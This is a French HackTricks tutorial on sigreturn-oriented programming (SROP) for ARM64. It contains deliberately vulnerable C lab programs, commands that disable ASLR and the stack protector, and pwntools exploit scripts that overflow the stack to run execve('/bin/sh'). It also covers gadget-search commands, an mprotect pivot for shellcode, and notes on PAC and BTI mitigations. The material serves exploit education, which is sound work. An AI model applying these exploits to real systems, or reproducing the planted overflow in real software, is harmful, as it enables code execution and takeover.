> [!TIP]

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Exemple Pwntools

Cet exemple crée le binaire vulnérable et l'exploite. Le binaire lit dans la pile et appelle ensuite sigreturn :

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

exemple de bof

Code

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Compilez-le avec :

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

L'exploit abuse du bof pour revenir à l'appel à sigreturn et préparer la pile pour appeler execve avec un pointeur vers /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

exemple de bof sans sigreturn

Code

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

Dans la section vdso, il est possible de trouver un appel à sigreturn à l'offset 0x7b0 :

Par conséquent, s'il est divulgué, il est possible de utiliser cette adresse pour accéder à un sigreturn si le binaire ne le charge pas :

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Pour plus d'informations sur vdso, consultez :

Ret2vDSO

Et pour contourner l'adresse de /bin/sh, vous pourriez créer plusieurs variables d'environnement pointant vers celle-ci, pour plus d'informations :

ASLR


Trouver automatiquement des gadgets sigreturn (2023-2025)

Sur les distributions modernes, le trampoline sigreturn est toujours exporté par la page vDSO, mais le décalage exact peut varier selon les versions du noyau et les options de compilation telles que BTI (+branch-protection) ou PAC. L'automatisation de sa découverte évite de coder en dur les décalages :

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Les deux outils comprennent les encodages AArch64 et listeront les séquences candidates mov x8, 0x8b ; svc #0 qui peuvent être utilisées comme gadget SROP.

Remarque : Lorsque les binaires sont compilés avec BTI, la première instruction de chaque cible de branchement indirect valide est bti c. Les trampolines sigreturn placés par le linker incluent déjà le bon pad de réception BTI, donc le gadget reste utilisable depuis du code non privilégié.

Chaînage SROP avec ROP (pivot via mprotect)

rt_sigreturn nous permet de contrôler tous les registres à usage général et pstate. Un modèle courant sur x86 est : 1) utiliser SROP pour appeler mprotect, 2) pivoter vers une nouvelle pile exécutable contenant du shell-code. La même idée fonctionne sur ARM64 :

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Après avoir envoyé le cadre, vous pouvez envoyer une seconde étape contenant du code shell brut à 0x400000+0x100. Parce que AArch64 utilise un adressage PC-relative, cela est souvent plus pratique que de construire de grandes chaînes ROP.

Validation du noyau, PAC et Shadow-Stacks

Linux 5.16 a introduit une validation plus stricte des cadres de signaux en espace utilisateur (commit 36f5a6c73096). Le noyau vérifie maintenant :

  • uc_flags doit contenir UC_FP_XSTATE lorsque extra_context est présent.
  • Le mot réservé dans struct rt_sigframe doit être zéro.
  • Chaque pointeur dans l'enregistrement extra_context est aligné et pointe à l'intérieur de l'espace d'adresses utilisateur.

pwntools>=4.10 crée automatiquement des cadres conformes, mais si vous les construisez manuellement, assurez-vous d'initialiser à zéro reserved et d'omettre l'enregistrement SVE à moins que vous n'en ayez vraiment besoin—sinon rt_sigreturn renverra SIGSEGV au lieu de retourner.

À partir d'Android 14 et de Fedora 38, l'espace utilisateur est compilé avec PAC (Pointer Authentication) et BTI activés par défaut (-mbranch-protection=standard). SROP lui-même n'est pas affecté car le noyau écrase PC directement à partir du cadre créé, contournant le LR authentifié sauvegardé sur la pile ; cependant, toute chaîne ROP subséquente qui effectue des branches indirectes doit sauter vers des instructions activées par BTI ou des adresses PACées. Gardez cela à l'esprit lors du choix des gadgets.

Les Shadow-Call-Stacks introduits dans ARMv8.9 (et déjà activés sur ChromeOS 1.27+) sont une atténuation au niveau du compilateur et n'interfèrent pas avec SROP car aucune instruction de retour n'est exécutée—le flux de contrôle est transféré par le noyau.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks